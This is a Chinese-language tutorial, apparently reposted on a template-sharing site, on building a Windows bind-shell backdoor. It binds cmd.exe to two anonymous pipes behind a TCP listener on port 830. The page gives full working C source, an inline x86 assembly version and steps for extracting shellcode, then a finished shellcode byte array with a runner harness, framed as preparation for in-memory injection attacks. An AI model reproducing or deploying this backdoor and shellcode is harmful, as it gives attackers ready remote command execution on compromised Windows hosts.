1.6 编写双管道ShellCode

这篇具有很好参考价值的文章主要介绍了1.6 编写双管道ShellCode。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

本文将介绍如何将CMD绑定到双向管道上,这是一种常用的黑客反弹技巧,可以让用户在命令行界面下与其他程序进行交互,我们将从创建管道、启动进程、传输数据等方面对这个功能进行详细讲解。此外,本文还将通过使用汇编语言一步步来实现这个可被注入的ShellCode后门,并以此提高代码通用性。最终,我们将通过一个实际的漏洞攻击场景来展示如何利用这个后门实现内存注入攻击。

1.6.1 什么是匿名管道

首先管道(Pipe)是一种IPC机制,用于在同一台计算机上进行进程间通信。它可以让一个进程将数据写入到管道中,然后另一个进程可以从管道中读取这些数据。一般而言管道可以分为匿名管道(Anonymous Pipe)或命名管道(Named Pipe)两种形式。

  • 匿名管道是一种临时的管道,只能用于父子进程之间或兄弟进程之间的通信。它是一个双向的、无名的、半双工的通道,只能在创建它的进程及其子进程之间进行通信。
  • 命名管道是一种具有名称的管道,可以用于在不同的进程之间进行通信。命名管道可以在不同的进程之间共享,并可以在多个进程之间传递数据。它可以是单向的或双向的,可以使用同步或异步方式进行通信。

在实现中,管道通常是由操作系统提供的一段共享内存区域。在管道创建时,操作系统会为管道分配一段内存区域,该内存区域由创建管道的进程和与其通信的进程共享。当进程往管道中写入数据时,数据会被存储在管道的内存缓冲区中,然后等待另一个进程从管道中读取数据。当另一个进程读取管道中的数据时,数据将从内存缓冲区中被读取并且被删除,从而保证数据传输的正确性和可靠性。

有了管道的支持,我们向其他进程传输数据时就可像对普通文件读写那样简单。管道操作的标识符是HANDLE句柄,当管道被正确创建时则,我们可以直接使用ReadFile、WriteFile等文件读写函数来读写它,读者无需了解网络间进程间通信的细节部分;

一般匿名管道的创建需要调用CreatePipe()函数实现,它可以创建一个管道,并返回两个句柄,一个用于读取管道数据,另一个用于写入管道数据。

CreatePipe函数的语法如下:

BOOL CreatePipe(
  PHANDLE hReadPipe,                      // 读取管道数据的句柄指针
  PHANDLE hWritePipe,                     // 写入管道数据的句柄指针
  LPSECURITY_ATTRIBUTES lpPipeAttributes, // 指向安全属性结构的指针
  DWORD nSize                             // 管道缓冲区大小,若为0则使用默认大小
);

其中,hReadPipehWritePipePHANDLE类型的指针,用于接收读取和写入管道的句柄。lpPipeAttributes是指向SECURITY_ATTRIBUTES结构的指针,用于指定管道的安全属性,通常设置为NULLnSize是管道缓冲区的大小,若为0则使用默认大小。在使用CreatePipe函数创建匿名管道后,读者可以使用WriteFile函数往管道中写入数据,也可以使用ReadFile函数从管道中读取数据。读取和写入管道的操作需要使用相应的句柄。


小提示:匿名管道只能在具有亲缘关系的进程之间使用,即父子进程或兄弟进程,通过设置CreateProcess函数中的bInheritHandles属性为True则可实现父子进程,如果需要在不同的进程之间使用管道进行通信,则应该使用命名管道。


接着来简单介绍一下CreateProcess函数,该函数用于创建一个新的进程,返回值非0表示成功,为0表示失败。为了让2个进程产生父子及继承关系,参数bInheritHandles应设置为True,该函数的原型如下所示;

BOOL CreateProcess(
  LPCWSTR               lpApplicationName,  // 可执行文件名或者命令行
  LPWSTR                lpCommandLine,      // 命令行参数
  LPSECURITY_ATTRIBUTES lpProcessAttributes,// 进程安全属性
  LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性
  BOOL                  bInheritHandles,    // 是否继承父进程的句柄
  DWORD                 dwCreationFlags,    // 进程创建标志
  LPVOID                lpEnvironment,      // 新进程的环境块指针
  LPCWSTR               lpCurrentDirectory, // 新进程的工作目录
  LPSTARTUPINFO         lpStartupInfo,      // STARTUPINFO 结构体指针
  LPPROCESS_INFORMATION lpProcessInformation// PROCESS_INFORMATION 结构体指针
);

实现匿名管道通信,我们还需要了解最后一个函数PeekNamedPipe,该函数用于检查命名管道中的是否有数据,函数返回值为BOOL类型,如果函数调用成功,则返回TRUE,否则返回FALSE

该函数的原型定义如下所示;

BOOL PeekNamedPipe(
  HANDLE  hNamedPipe,        // 命名管道的句柄
  LPVOID  lpBuffer,          // 存储读取数据的缓冲区
  DWORD   nBufferSize,       // 缓冲区的大小
  LPDWORD lpBytesRead,       // 实际读取的字节数
  LPDWORD lpTotalBytesAvail, // 管道中可用的字节数
  LPDWORD lpBytesLeftThisMessage // 下一条消息剩余的字节数
);

在调用成功的情况下,lpBytesRead参数返回实际读取的字节数,lpTotalBytesAvail参数返回管道中可用的字节数,lpBytesLeftThisMessage参数返回下一条消息剩余的字节数。如果命名管道为空,则函数会阻塞等待数据到来,当接收到数据时则读者即可通过调用ReadFile在管道中读取数据,或调用WriteFile来向管道写入数据,至此关键的API函数已经介绍完了;

1.6.2 C语言实现双管道后门

其实匿名管道反弹CMD的工作原理可以理解为,首先攻击机发命令并通过Socket传给目标机的父进程,目标机的父进程又通过一个匿名管道传给子进程,这里的子进程是cmd.exe,CMD执行命令后,把结果通过另一个匿名管道返给父进程,父进程最后再通过Socket返回给攻击机,以此则实现了反弹Shell的目的;

接着我们就来实现这个双向匿名管道功能,在实现管道之前需要先建立套接字,首先使用WSAStartup函数初始化Winsock库,并使用socket函数创建一个套接字。然后,使用bind函数将套接字绑定到特定的IP地址和端口号。listen函数将套接字设置为侦听传入的连接,而accept函数会一直阻塞直到建立客户端连接。一旦连接建立,代码会返回客户端的套接字描述符clientFD。

WSADATA ws;
SOCKET listenFD;
char Buff[1024];
int ret;

// 初始化网络通信库
WSAStartup(MAKEWORD(2, 2), &ws);

// 建立Socket套接字
listenFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

// 配置通信协议属性,并监听本机830端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr = ADDR_ANY;

// 开始绑定套接字
ret = bind(listenFD, (sockaddr *)&server, sizeof(server));

// 侦听套接字链接
ret = listen(listenFD, 2);

// 接受一个连接
int iAddrSize = sizeof(server);
SOCKET clientFD = accept(listenFD, (sockaddr *)&server, &iAddrSize);

有了套接字功能,则第二步需要创建两个PIPE管道,其中第一个管道用于输出执行结果,第二个管道用于输入命令,把CMD子进程输出句柄用管道1的写句柄替换,此时主进程就可以通过读管道1的读句柄来获得输出;另外,我们还要把CMD子进程的输入句柄用2的读句柄替换,此时主进程就可以通过写管道2的写句柄来输入命令。

其通信过程如下:

  • (远程主机)←输入←管道1输出←管道1输入←输出(CMD子进程)
  • (远程主机)→输出→管道2输入→管道2输出→输入(CMD子进程)
SECURITY_ATTRIBUTES pipeattr1, pipeattr2;
HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2;
    
// 建立匿名管道1
pipeattr1.nLength = 12;
pipeattr1.lpSecurityDescriptor = 0;
pipeattr1.bInheritHandle = true;
CreatePipe(&hReadPipe1, &hWritePipe1, &pipeattr1, 0);
    
// 建立匿名管道2
pipeattr2.nLength = 12;
pipeattr2.lpSecurityDescriptor = 0;
pipeattr2.bInheritHandle = true;
CreatePipe(&hReadPipe2, &hWritePipe2, &pipeattr2, 0);

为了得到上述绑定效果,我们在设置CMD子进程STARTUPINFO启动参数时就应该做好绑定工作,通过填入如下所示的变量值,并调用CreateProcess实现对进程的绑定,通过替换进程的输出句柄为管道1的写句柄,输入句柄为管道2的读句柄。最后再开启CMD命令就实现了绑定功能,代码如下所示;

// 填充所需参数实现子进程与主进程通信
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
    
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;

// 建立进程绑定参数
ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);

当CMD子进程启动后,则下一步则是和远程攻击机之间建立通信,如下代码通过使用PeekNamedPiperecv函数不断检查从远程客户端或CMD进程接收到的数据。如果从CMD进程中有可读数据,则使用ReadFile函数读取该数据并使用send函数发送回远程客户端。如果没有数据可读,则程序接收从远程客户端发来的命令,并将命令写入管道2,即传给CMD进程。这个过程不断循环执行,直到出现错误或收到退出命令。

unsigned long lBytesRead;
while (1)
{
    // 检查管道1 即CMD进程是否有输出
    ret = PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0);
    if (lBytesRead)
    {
        //管道1有输出 读出结果发给远程客户机
        ret = ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0);
        if (!ret)
        {
            break;
        }

        ret = send(clientFD, Buff, lBytesRead, 0);
        if (ret <= 0)
        {
            break;
        }
    }
    else
    {
        // 否则接收远程客户机的命令
        lBytesRead = recv(clientFD, Buff, 1024, 0);
        if (lBytesRead <= 0)
        {
            break;
        }
        // 将命令写入管道2 即传给cmd进程
        ret = WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0);
        if (!ret)
        {
            break;
        }
    }
}

如上代码所示就是完整的双向匿名管道的实现原理,我们通过整合并编译,打开编译后的可执行程序,此时读者可使用netcat工具执行nc 127.0.0.1 830则可连接到该后门内部,并以此获得一个Shell后门,此时读者可执行任意命令,输出效果如下图所示;

1.6 编写双管道ShellCode,《Visual C++ 安全编程技术实践》,《灰帽黑客:攻守道》,汇编语言,windows汇编,信息安全,ShellCode,匿名管道

1.6.3 汇编实现并提取ShellCode

在之前文章中我们介绍了如何使用C语言创建一个双管道通信后门,而对于在实战中,往往需要直接注入后门到内存,此时将后门转换为ShellCode是一个不错的选择,首先为了保证文章的篇幅不宜过长,此处暂且不考虑生成汇编代码的通用性,首先我们需要得到在当前系统中所需要使用的函数的动态地址,至于如何提取这些动态地址,在之前的文章通用ShellCode提取中有过详细的介绍,此处我们就直接给出实现代码;

#include <Windows.h>
#include <iostream>

typedef void(*MyProcess)(LPSTR);

int main(int argc, char *argv[])
{
    HINSTANCE KernelHandle;
    HINSTANCE WS2Handle;
    MyProcess ProcAddr;

    KernelHandle = LoadLibrary(L"kernel32");
    printf("kernel32 address = 0x%x\n", KernelHandle);

    WS2Handle = LoadLibrary(L"ws2_32");
    printf("ws2_32 address = 0x%x\n\n", WS2Handle);

    CHAR *FuncList[13] =
    {
        "CreatePipe", "CreateProcessA", "PeekNamedPipe", "WriteFile", "ReadFile", "ExitProcess",
        "WSAStartup", "socket", "bind", "listen", "accept", "send", "recv"
    };

    for (size_t i = 0; i < 13; i++)
    {
        if (i < 6)
        {
            // 输出kerlen32中的参数
            ProcAddr = (MyProcess)GetProcAddress(KernelHandle, FuncList[i]);
            printf("%s = 0x%x \n", FuncList[i], ProcAddr);
        }
        else
        {
            // 输出ws2中的参数
            ProcAddr = (MyProcess)GetProcAddress(WS2Handle, FuncList[i]);
            printf("%s = 0x%x \n", FuncList[i], ProcAddr);
        }
    }

    system("pause");
    return 0;
}

当读者运行这段程序时,则会输出kernel32.dllws2_32.dll的模块基址,同时还会输出"CreatePipe", "CreateProcessA", "PeekNamedPipe", "WriteFile", "ReadFile", "ExitProcess","WSAStartup", "socket", "bind", "listen", "accept", "send", "recv"这些我们所需要的函数的内存地址,输出效果如下图所示;

1.6 编写双管道ShellCode,《Visual C++ 安全编程技术实践》,《灰帽黑客:攻守道》,汇编语言,windows汇编,信息安全,ShellCode,匿名管道

接着我们需要将这些函数内存地址依次填充到汇编代码中,将其动态压入堆栈保存,如下是笔者填充过的汇编代码片段,此处的十六进制数读者电脑中的与笔者一定不一致,请读者自行替换即可;

mov eax,0x763e2d70
mov [ebp+4],  eax;   CreatePipe
mov eax,0x763e2d90
mov  [ebp+8],  eax;  CreateProcessA
mov eax,0x763e4140
mov  [ebp+12], eax;  PeekNamedPipe
mov eax,0x763d35b0
mov  [ebp+16], eax;  WriteFile
mov eax,0x763d34c0
mov  [ebp+20], eax;  ReadFile
mov eax,0x763d4100
mov  [ebp+24], eax;  ExitProcess
mov eax,0x76c29cc0
mov  [ebp+28], eax;  WSAStartup
mov eax,0x76c2c990
mov  [ebp+32], eax;  socket
mov eax,0x76c2d890
mov  [ebp+36], eax;  bind
mov eax,0x76c35d90
mov  [ebp+40], eax;  listen
mov eax,0x76c369c0
mov  [ebp+44], eax;  accept
mov eax,0x76c358a0
mov  [ebp+48], eax;  send
mov eax,0x76c323a0
mov  [ebp+52], eax;  recv

小提示:STDcall是一种调用约定,用于指定函数参数的传递方式、函数返回值的处理方式以及函数调用后堆栈的清理方式,它在Windows平台上广泛使用。该调用规定,函数的参数从右到左依次入栈,函数返回值存储在EAX寄存器中。在函数调用后,由调用方负责清理堆栈上的参数,因此被调用函数不需要执行额外的堆栈清理操作。


在源程序的第一句指令,是执行WSAStartup(0x202, &ws)。我们按照32位下函数的STDCALL调用规范,首先将参数从右至左依次压入栈中,其中该函数的第二个参数&ws表示一个地址,因为WS地址已经不再使用了,所以此处我们就随意压入一个地址即可(比如ESP的值),第一个参数时0x202则此时我们直接使用push 0x202压入,至此函数的参数已经填充完毕了,接下来则是调用该函数,因WSAStartup的地址保存在[ebp+28]中,所以我们通过call [ebp+28]就可以调用到该地址啦。

push esp
push 0x202
call [ebp + 28]      // WSAStartup地址

接着是原程序中的第二个函数Socket(2,1,6)读者需要先将6、1、2依次入栈,最后再call socket的地址,也就是调用[ebp + 32]即可实现调用。

; socket(2,1,6)
push 6
push 1
push 2
call [ebp + 32]
mov ebx, eax       // 将套接字保存到EBX中

读者是否会有疑问,此处为什么会传递这些参数呢,读者可在源程序的开头位置设置断点,并打开反汇编窗口,观察建立Socket的参数传递情况,即可一目了然;

1.6 编写双管道ShellCode,《Visual C++ 安全编程技术实践》,《灰帽黑客:攻守道》,汇编语言,windows汇编,信息安全,ShellCode,匿名管道

接着我们继续提取第三个关键函数Bind()绑定函数,相比于前两个函数而言,绑定函数要显得更加复杂一些,原因是该函数需要填充一个sockaddr_in的结构体变量,所以在填充参数之前还需要具体分析;

struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(830);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));

我们还是借助VS工具,在bind()函数上下断点,并打开反汇编窗口(Ctrl+Alt+D),观察编译器是如何编译处理的,如下图所示;

1.6 编写双管道ShellCode,《Visual C++ 安全编程技术实践》,《灰帽黑客:攻守道》,汇编语言,windows汇编,信息安全,ShellCode,匿名管道

高级语言执行bind时,首先是将0x10入栈,说明sizeof(server)的参数传递其实就是0x10

第二个参数&serversockaddr_in结构的地址。在sockaddr_in结构中,包括了绑定的协议、IP、端口号等值。和在堆栈中构造字符串一样,我们也在栈中构造出sockaddr_in的结构,那么esp就是sockaddr_in结构的地址了。

为了能够更好的提取到第二个参数的压入信息,我们需要将调试器运行到listen(listenFD, 2)处,并打开内存窗口,输出&server跳转到当前结构体填充位置处,读者可看到如下内存数据;

1.6 编写双管道ShellCode,《Visual C++ 安全编程技术实践》,《灰帽黑客:攻守道》,汇编语言,windows汇编,信息安全,ShellCode,匿名管道

从上图中可看出,如下执行后其实就是得到了02 00 03 3E 00 00 00 00,知道了确切要赋的值,我们就依葫芦画瓢,开始压栈push 0x0000,push 0x0000,push 0x3E030002此时我们就在堆栈中构造出了sockaddr_in结构的值,而且esp就正好是结构的地址。我们把它保存给esi作为第二个参数压入堆栈。

好了,剩下就简单了,最后一个参数是socket。上面执行了socket()后,我们把socket的值保存在了ebx中,所以将ebx压入就可以了。最后call调用函数。bind函数地址存放在[ebp + 36]中,将这段汇编代码结合起来就像如下所示。

; bind(listenFD,(sockaddr *)&server,sizeof(server));
xor edi,edi                    // 先构造server
push edi
push edi
mov eax,0x3E030002

; port 830 AF_INET
push eax
mov esi, esp                   // 把server地址赋给esi
push 0x10                       ; length
push esi                        ; &server
push ebx                        ; socket
call [ebp + 36]                 ; bind

好了根据上述方法,读者需要依次跟踪代码执行流程,并嫁给你所需要的参数依次提取出来,最终将这些参数组合在一起,即可得到如下方所示的一段汇编代码片段;

#include <Windows.h>
#include <iostream>

int main(int argc, char *argv[])
{
    LoadLibrary("kernel32.dll");
    LoadLibrary("ws2_32.dll");

    __asm
    {
            push ebp;
            sub  esp, 80;
            mov  ebp, esp;

        // 替换所需函数地址
            mov eax, 0x763e2d70
            mov[ebp + 4], eax;   CreatePipe
            mov eax, 0x763e2d90
            mov[ebp + 8], eax;  CreateProcessA
            mov eax, 0x763e4140
            mov[ebp + 12], eax;  PeekNamedPipe
            mov eax, 0x763d35b0
            mov[ebp + 16], eax;  WriteFile
            mov eax, 0x763d34c0
            mov[ebp + 20], eax;  ReadFile
            mov eax, 0x763d4100
            mov[ebp + 24], eax;  ExitProcess
            mov eax, 0x76c29cc0
            mov[ebp + 28], eax;  WSAStartup
            mov eax, 0x76c2c990
            mov[ebp + 32], eax;  socket
            mov eax, 0x76c2d890
            mov[ebp + 36], eax;  bind
            mov eax, 0x76c35d90
            mov[ebp + 40], eax;  listen
            mov eax, 0x76c369c0
            mov[ebp + 44], eax;  accept
            mov eax, 0x76c358a0
            mov[ebp + 48], eax;  send
            mov eax, 0x76c323a0
            mov[ebp + 52], eax;  recv

            mov eax, 0x0
            mov[ebp + 56], 0
            mov[ebp + 60], 0
            mov[ebp + 64], 0
            mov[ebp + 68], 0
            mov[ebp + 72], 0

        LWSAStartup:
        ; WSAStartup(0x202, DATA)

            sub esp, 400
            push esp
            push 0x202
            call[ebp + 28]

        socket:

            ; socket(2, 1, 6)
                push 6
                push 1
                push 2
                call[ebp + 32]
                mov ebx, eax; save socket to ebx

            LBind :

            ; bind(listenFD, (sockaddr *)&server, sizeof(server));
                xor edi, edi
                push edi
                push edi
                mov eax, 0x3E030002
                push  eax; port 830  AF_INET
                mov esi, esp

                push  0x10; length
                push esi; &server
                push ebx; socket
                call[ebp + 36]; bind

            LListen :

            ; listen(listenFD, 2)
                inc edi
                inc edi
                push edi; 2
                push ebx; socket
                call[ebp + 40]; listen

            LAccept :
            ; accept(listenFD, (sockaddr *)&server, &iAddrSize)
                push 0x10
                lea  edi, [esp]
                push edi
                push esi; &server
                push ebx; socket
                call[ebp + 44]; accept
                mov ebx, eax; save newsocket to ebx

            Createpipe1 :
            ; CreatePipe(&hReadPipe1, &hWritePipe1, &pipeattr1, 0);
                xor edi, edi
                inc edi
                push edi
                xor edi, edi
                push edi
                push 0xc; pipeattr

                mov esi, esp

                push edi; 0
                push esi; pipeattr1
                lea eax, [ebp + 60]; &hWritePipe1
                push eax
                lea eax, [ebp + 56]; &hReadPipe1
                push eax
                call[ebp + 4]

            CreatePipe2:
                ; CreatePipe(&hReadPipe2, &hWritePipe2, &pipeattr2, 0);
                    push edi; 0
                    push esi; pipeattr2
                    lea eax, [ebp + 68]; hWritePipe2
                    push eax
                    lea eax, [ebp + 64]; hReadPipe2
                    push eax
                    call[ebp + 4]

                CreateProcess:
                    ; ZeroMemory TARTUPINFO, 10h  PROCESS_INFORMATION  44h
                        sub esp, 0x80
                        lea edi, [esp]
                        xor eax, eax
                        push  0x80
                        pop ecx
                        rep stosd
                        ; si.dwFlags
                        lea edi, [esp]
                        mov eax, 0x0101
                        mov[edi + 2ch], eax;

                    ; si.hStdInput = hReadPipe2 ebp + 64
                        mov eax, [ebp + 64]
                        mov[edi + 38h], eax

                        ; si.hStdOutput si.hStdError = hWritePipe1 ebp + 60
                        mov eax, [ebp + 60]
                        mov[edi + 3ch], eax
                        mov eax, [ebp + 60]
                        mov[edi + 40h], eax

                        ; cmd.exe
                        mov eax, 0x00646d63
                        mov[edi + 64h], eax; cmd

                        ; CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation)
                        lea eax, [esp + 44h]

                        push eax; &pi
                        push edi; &si
                        push ecx; 0
                        push ecx; 0
                        push ecx; 0
                        inc  ecx
                        push ecx; 1
                        dec  ecx
                        push ecx; 0
                        push ecx; 0
                        lea eax, [edi + 64h]; "cmd"
                        push eax
                        push ecx; 0
                        call[ebp + 8]
                    loop1:

                        ; while1
                            ; PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0);
                            sub esp, 400h;
                            mov esi, esp; esi = Buff
                            xor ecx, ecx
                            push ecx; 0
                            push ecx; 0
                            lea edi, [ebp + 72]; &lBytesRead
                            push edi
                            mov eax, 400h
                            push eax; 1024
                            push esi; Buff
                            mov eax, [ebp + 56]
                            push eax; hReadPipe1
                            call[ebp + 12]
                            mov eax, [edi]
                            test eax, eax
                            jz recv_command

                        send_result :

                        ; ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0)
                            xor ecx, ecx
                            push ecx; 0
                            push edi; &lBytesRead
                            push[edi]; hReadPipe1
                            push esi; Buff
                            push[ebp + 56]; hReadPipe1
                            call[ebp + 20]

                            ; send(clientFD, Buff, lBytesRead, 0)
                            xor ecx, ecx
                            push ecx; 0
                            push[edi]; lBytesRead
                            push esi; Buff
                            push ebx; clientFD
                            call[ebp + 48]
                            jmp loop1

                        recv_command :

                        ; recv(clientFD, Buff, 1024, 0)

                            xor ecx, ecx
                            push ecx
                            mov eax, 400h
                            push eax
                            push esi
                            push ebx
                            call[ebp + 52]
                            //lea ecx,[edi]
                            mov[edi], eax

                            ; WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0)
                            xor ecx, ecx
                            push ecx
                            push edi
                            push[edi]
                            push esi
                            push[ebp + 68]
                            call[ebp + 16]

                            jmp loop1
                        end :
    }
    system("pause");
    return 0;
}

接下来则是提取特征码,提取时读者可以使用如下程序实现,将上方汇编代码放入到ShellCodeStart-ShellCodeEnd区域内,运行后则可提取出特定特征码参数;

#include <stdio.h>
#include <Windows.h>

int main(int argc, char* argv[])
{
    DWORD Start, End, Len;
    goto GetShellCode;
    __asm
    {
    ShellCodeStart:
            xor eax, eax
            xor ebx, ebx
            xor ecx, ecx
            xor edx, edx
            int 3
    ShellCodeEnd:
    }

GetShellCode:
    __asm
    {
        mov Start, offset ShellCodeStart
        mov End, offset ShellCodeEnd
    }

    Len = End - Start;
    unsigned char* newBuffer = new unsigned char[Len + 1024];

    memset(newBuffer, 0, Len + 1024);
    memcpy(newBuffer, (unsigned char*)Start, Len);

    for (size_t i = 0; i < Len; i++)
    {
        printf("\\x%x", newBuffer[i]);
    }

    // 直接写出二进制
    /*
    FILE* fp_bin = fopen("d://shellcode.bin", "wb+");
    fwrite(newBuffer, Len, 1, fp_bin);
    _fcloseall();

    // 写出Unicode格式ShellCode
    FILE *fp_uncode = fopen("c://un_ShellCode.txt", "wb+");
    for (int x = 0; x < Len; x++)
    {
    fprintf(fp_uncode, "%%u%02x%02x", newBuffer[x + 1], newBuffer[x]);
    }
    _fcloseall();
    */

    system("pause");
    return 0;
}

运行后,则可自动提取出特征码,如下图所示;

1.6 编写双管道ShellCode,《Visual C++ 安全编程技术实践》,《灰帽黑客:攻守道》,汇编语言,windows汇编,信息安全,ShellCode,匿名管道

至此请读者自行将上述ShellCode代码替换之如下测试框架中测试;

#include <stdio.h>
#include <Windows.h>

unsigned char ShellCode[] = 
"\x55\x83\xec\x50\x8b\xec\xb8\x70\x2d\x3e\x76\x89\x45\x4\xb8\x90\x2d\x3e\x76"
"\x89\x45\x8\xb8\x40\x41\x3e\x76\x89\x45\xc\xb8\xb0\x35\x3d\x76\x89\x45"
"\x10\xb8\xc0\x34\x3d\x76\x89\x45\x14\xb8\x0\x41\x3d\x76\x89\x45\x18\xb8\xc0\x9c\xc2"
"\x76\x89\x45\x1c\xb8\x90\xc9\xc2\x76\x89\x45\x20\xb8\x90\xd8\xc2\x76\x89\x45\x24\xb8"
"\x90\x5d\xc3\x76\x89\x45\x28\xb8\xc0\x69\xc3\x76\x89\x45\x2c\xb8\xa0\x58\xc3\x76\x89"
"\x45\x30\xb8\xa0\x23\xc3\x76\x89\x45\x34\xb8\x0\x0\x0\x0\xc6\x45\x38\x0\xc6\x45\x3c"
"\x0\xc6\x45\x40\x0\xc6\x45\x44\x0\xc6\x45\x48\x0\x81\xec\x90\x1\x0\x0\x54\x68\x2\x2"
"\x0\x0\xff\x55\x1c\x6a\x6\x6a\x1\x6a\x2\xff\x55\x20\x8b\xd8\x33\xff\x57\x57\xb8\x2\x0"
"\x3\x3e\x50\x8b\xf4\x6a\x10\x56\x53\xff\x55\x24\x47\x47\x57\x53\xff\x55\x28\x6a\x10\x8d"
"\x3c\x24\x57\x56\x53\xff\x55\x2c\x8b\xd8\x33\xff\x47\x57\x33\xff\x57\x6a\xc\x8b\xf4\x57\x56"
"\x8d\x45\x3c\x50\x8d\x45\x38\x50\xff\x55\x4\x57\x56\x8d\x45\x44\x50\x8d\x45\x40\x50\xff\x55"
"\x4\x81\xec\x80\x0\x0\x0\x8d\x3c\x24\x33\xc0\x68\x80\x0\x0\x0\x59\xf3\xab\x8d\x3c\x24\xb8"
"\x1\x1\x0\x0\x89\x47\x2c\x8b\x45\x40\x89\x47\x38\x8b\x45\x3c\x89\x47\x3c\x8b\x45\x3c\x89\x47"
"\x40\xb8\x63\x6d\x64\x0\x89\x47\x64\x8d\x44\x24\x44\x50\x57\x51\x51\x51\x41\x51\x49\x51\x51"
"\x8d\x47\x64\x50\x51\xff\x55\x8\x81\xec\x0\x4\x0\x0\x8b\xf4\x33\xc9\x51\x51\x8d\x7d\x48\x57"
"\xb8\x0\x4\x0\x0\x50\x56\x8b\x45\x38\x50\xff\x55\xc\x8b\x7\x85\xc0\x74\x19\x33\xc9\x51\x57"
"\xff\x37\x56\xff\x75\x38\xff\x55\x14\x33\xc9\x51\xff\x37\x56\x53\xff\x55\x30\xeb\xc3\x33\xc9"
"\x51\xb8\x0\x4\x0\x0\x50\x56\x53\xff\x55\x34\x89\x7\x33\xc9\x51\x57\xff\x37\x56\xff\x75\x44"
"\xff\x55\x10\xeb\xa4";

int main(int argc, char* argv[])
{
    LoadLibrary("kernel32.dll");
    LoadLibrary("ws2_32.dll");

    __asm
    {
        lea eax, ShellCode
        call eax
    }

    system("pause");
    return 0;
}

当读者运行该程序时,则会弹出服务端请求网络创建功能,此时我们的ShellCode就算成功提取出来了,输出效果图如下所示;

1.6 编写双管道ShellCode,《Visual C++ 安全编程技术实践》,《灰帽黑客:攻守道》,汇编语言,windows汇编,信息安全,ShellCode,匿名管道文章来源地址https://www.toymoban.com/news/detail-683035.html

到了这里,关于1.6 编写双管道ShellCode的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 1.5 编写自定位ShellCode弹窗

    在笔者上一篇文章中简单的介绍了如何运用汇编语言编写一段弹窗代码,虽然简易 ShellCode 可以被正常执行,但却存在很多问题,由于采用了硬编址的方式来调用相应API函数的,那么就会存在一个很大的缺陷,如果操作系统的版本不统或系统重启过,那么基址将会发生变化,

    2024年02月11日
    浏览(479)
  • 用Visual Studio编写C++程序,输出Hello World

    1.创建新项目 必须是空项目  2.保存路径 自己选择合适的地方。 3.创建文件 进来之后一片空白,虽然我们已经建立了项目,但是项目都是由一个或多个文件组成的(相当于文件夹),这个项目里面还没有文件,所以需要在项目中创建文件。 右键点击“源文件”,选择添加-新

    2024年02月06日
    浏览(39)
  • 1.8 运用C编写ShellCode代码

    在笔者前几篇文章中,我们使用汇编语言并通过自定位的方法实现了一个简单的 MessageBox 弹窗功能,但由于汇编语言过于繁琐在编写效率上不仅要考验开发者的底层功底,还需要写出更多的指令集,这对于普通人来说是非常困难的,当然除了通过汇编来实现 ShellCode 的编写以

    2024年02月15日
    浏览(64)
  • [渗透测试]—7.1 漏洞利用开发和Shellcode编写

    在本章节中,我们将学习漏洞利用开发和Shellcode编写的基本概念和技巧。我们会尽量详细、通俗易懂地讲解,并提供尽可能多的实例。 漏洞利用开发是渗透测试中的高级技能。当你发现一个软件或系统存在漏洞时,你需要编写一段代码来利用这个漏洞,从而在目标系统上执行

    2024年02月11日
    浏览(48)
  • 网络攻防技术-Lab5-shellcode编写实验(SEED Labs – Shellcode Development Lab)

    网络攻防技术实验,实验环境、实验说明、实验代码见 Shellcode Development Lab 1) 编译mysh.s得到二进制文件 2) 执行 1)中的二进制文件 ,结果如下图, 我们 看到运行mysh之前的PID与运行mysh之后的PID是不同的,证明我们通过mysh启动了一个新的shell。 3) 获取机器码,以便进一步

    2023年04月13日
    浏览(43)
  • visual stdio c++调用python混合编程

    关于环境创建可以参考https://blog.csdn.net/qq_36559788/article/details/123174309 这里python我用的是anaconda里的python38 ,并且没有debug库,所以我只用了release库 在vs中设置项目属性,添加 包含目录 以及 附加库目录 ,注意都是在release模式下添加的 在main.cpp中添加头文件 添加代码 编译运行

    2024年02月01日
    浏览(40)
  • 使用C++编写自己的编程语言CASM

    CASM帮助文档: CASM解释器讲解视频: 我独自开发了一种编程语言:CASM CASM解释器源代码(剪贴板有问题,总是粘贴成一行,哪位大佬帮帮我……): #include iostream #include cstring #include string #include cstdio #include map #include queue #include stack #include cstdlib #include list #include \\\"hint.hpp\\\" us

    2024年02月10日
    浏览(53)
  • C++编程:Visual Studio启动之后如何创建项目

    Visual Studio启动之后,我们首先应该创建一个项目。所谓“项目”,就是一个工作任务,需要实现相应的需求。点击“创建新项目”。   直接选择一个空项目。   指定项目名称和保存位置。   这里还有一个“解决方案”(Solution)的概念,其实就是一组有关联的项目,共同合

    2024年02月07日
    浏览(59)
  • C++ 混合Python编程 及 Visual Studio配置

